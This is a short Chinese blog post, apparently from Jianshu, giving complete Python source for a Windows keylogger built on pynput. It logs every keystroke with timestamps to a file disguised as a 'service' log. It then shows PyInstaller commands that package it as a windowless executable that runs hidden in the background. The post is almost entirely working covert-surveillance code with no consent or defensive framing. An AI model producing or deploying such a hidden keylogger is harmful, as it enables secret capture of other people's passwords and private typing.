用python实现记录windows的键盘输入

编写 keylogger.py

import logging
from pynput import keyboard

# 设置日志文件路径
log_path = "C:\\sdklog\\keylog_service.log"

# 配置日志
logging.basicConfig(
    filename=log_path,
    level=logging.INFO,
    format="%(asctime)s - %(message)s"
)

def on_press(key):
    try:
        # 尝试记录常规按键
        logging.info(f'Key pressed: {key.char}')
    except AttributeError:
        # 记录特殊按键
        logging.info(f'Special key pressed: {key}')

def on_release(key):
    # 此函数现在不会中断监听器
    pass

# 启动全局键盘监听器
def start_keylogger():
    with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
        listener.join()

if __name__ == "__main__":
    logging.info("Starting keylogger...")
    start_keylogger()
    logging.info("Keylogger stopped.")
pip install pynput
pip install pyinstaller
pyinstaller --noconsole --onefile keylogger.py
•   --noconsole:指定不显示控制台窗口。
•   --onefile:将所有依赖打包到一个可执行文件中。

转换成功后,你会在 dist 文件夹中找到生成的 keylogger.exe。双击运行后,脚本将会在后台运行而不显示任何窗口。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容